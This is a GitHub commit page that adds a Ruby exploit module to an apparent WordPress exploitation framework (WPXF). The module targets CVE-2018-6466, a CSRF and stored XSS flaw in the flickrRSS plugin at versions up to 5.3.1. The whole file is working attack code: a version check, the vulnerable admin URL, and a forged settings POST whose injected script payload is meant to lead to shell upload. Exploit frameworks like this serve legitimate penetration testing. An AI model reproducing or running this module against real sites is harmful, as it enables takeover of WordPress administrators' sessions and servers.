Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit c566c31

Browse files
committed
Add flickrRSS <= 5.3.1 reflected XSS shell upload
1 parent d337848 commit c566c31

File tree

1 file changed

+38
-0
lines changed

1 file changed

+38
-0
lines changed
Lines changed: 38 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,38 @@
1+
# frozen_string_literal: true
2+
3+
class Wpxf::Exploit::FlickrRssCsrfStoredXssShellUpload < Wpxf::Module
4+
include Wpxf::WordPress::StagedReflectedXss
5+
6+
def initialize
7+
super
8+
9+
update_info(
10+
name: 'flickrRSS <= 5.3.1 CSRF Stored XSS Shell Upload',
11+
author: [
12+
'AntsKnows', # Disclosure
13+
'rastating' # WPXF module
14+
],
15+
references: [
16+
['WPVDB', '9022'],
17+
['CVE', '2018-6466']
18+
],
19+
date: 'Feb 06 2018'
20+
)
21+
end
22+
23+
def check
24+
check_plugin_version_from_readme('flickr-rss', '5.3.2')
25+
end
26+
27+
def vulnerable_url
28+
normalize_uri(wordpress_url_admin, 'options-general.php?page=flickrrss-settingspage.php')
29+
end
30+
31+
def initial_script
32+
create_basic_post_script(
33+
vulnerable_url,
34+
'save_flickrRSS_settings' => 'Save Settings',
35+
'flickrRSS_set' => "\\\"><script>#{xss_ascii_encoded_include_script}<\\/script><input type=\\\"hidden\\\" value=\\\""
36+
)
37+
end
38+
end

0 commit comments

Comments
 (0)